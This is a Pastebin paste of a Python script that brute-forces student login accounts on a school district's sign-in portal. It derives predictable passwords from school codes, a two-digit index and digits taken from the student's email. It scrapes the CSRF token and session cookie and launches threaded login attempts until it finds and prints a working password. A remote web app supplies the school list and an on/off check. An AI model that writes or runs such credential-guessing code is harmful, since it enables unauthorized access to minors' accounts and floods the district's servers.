Advertisement
Guest User

Untitled

a guest
May 15th, 2019
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.56 KB | None | 0 0
  1. import requests, threading, time, os, sys, signal, json
  2.  
  3. # check if program is authenticated
  4. try:
  5. auth = requests.get('https://lvusd-ids.web.app/auth')
  6. if (not auth.text == 'true'):
  7. print('Auth failed, exiting...')
  8. sys.exit(0)
  9. except:
  10. print('Auth failed, exiting...')
  11. sys.exit(0)
  12.  
  13. def signal_handler(sig, frame): # handle ^C correctly
  14. print("")
  15. sys.exit(0)
  16. signal.signal(signal.SIGINT, signal_handler)
  17.  
  18.  
  19. schools = json.loads(requests.get('https://lvusd-ids.web.app/schools.json').text) # get school list
  20.  
  21. threads = []
  22. def main(email):
  23. email = email.split('@')[0]
  24. predictableDigits = email[-4:-2]
  25. for school in schools: # loop through every school
  26. for index in range(99):
  27. currentPassword = schools[school] + str(index).zfill(2) + predictableDigits
  28. t = threading.Thread(target=tryAccount, args=(email, currentPassword, school))
  29. threads.append(t)
  30. t.start()
  31. time.sleep(0.03) # ideal time when making a large amount of requests - little to no 502's
  32.  
  33. umc2 = "https://umc2.lvusd.org/users/sign_in" # the base umc2 sign in page to check against
  34. cookiebait = requests.get(umc2)
  35. authenticity_token = cookiebait.text.split('name="csrf-token" content="')[1].split('"')[0] # get the auth token from meta tag
  36. # print(authenticity_token)
  37. for c in cookiebait.cookies:
  38. cookies = {c.name: c.value} # get the session cookie
  39.  
  40. def tryAccount(user, password, school): # used by main and noSchool to check accounts on umc2 using the session cookie and auth token
  41. while True:
  42. headers = {
  43. 'Connection': 'keep-alive',
  44. 'Cache-Control': 'max-age=0',
  45. 'Origin': 'https://umc2.lvusd.org',
  46. 'Upgrade-Insecure-Requests': '1',
  47. 'DNT': '1',
  48. 'Content-Type': 'application/x-www-form-urlencoded',
  49. 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
  50. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  51. 'Referer': 'https://umc2.lvusd.org/users/sign_in',
  52. 'Accept-Encoding': 'gzip, deflate, br',
  53. 'Accept-Language': 'en-US,en;q=0.9,el;q=0.8,la;q=0.7',
  54. }
  55. data = {
  56. 'utf8': '\u2713',
  57. 'authenticity_token': authenticity_token,
  58. 'user[username]': user,
  59. 'user[password]': password,
  60. 'commit': 'Log in'
  61. }
  62. response = requests.post(umc2, headers=headers, cookies=cookies, data=data)
  63. if (str(response) == '<Response [200]>'): # good page load
  64. if (not 'Invalid Username or password.' in response.text): # good login
  65. printOut(user, password, school)
  66. break # break off loop, ending thread
  67. # this means we overloaded the umc2 servers
  68. time.sleep(0.05) # wait before retrying ID
  69.  
  70.  
  71. def printOut(user, foundID, school): # the final prints
  72. if foundID: # if we didn't specify a school at the start the found school shows here
  73. print("Found {0}'s ID: {1} originally at {2}".format(user, foundID, school.capitalize()))
  74. else:
  75. print("ERROR: No students found")
  76.  
  77. os._exit(0)
  78.  
  79. print(' ', end ="\r")
  80. inputEmail = input("Email/User: ") # prompt for email
  81. if inputEmail:
  82. main(inputEmail) # run the main func if we get a school input
  83. else:
  84. print('Please provide an email')
  85. sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement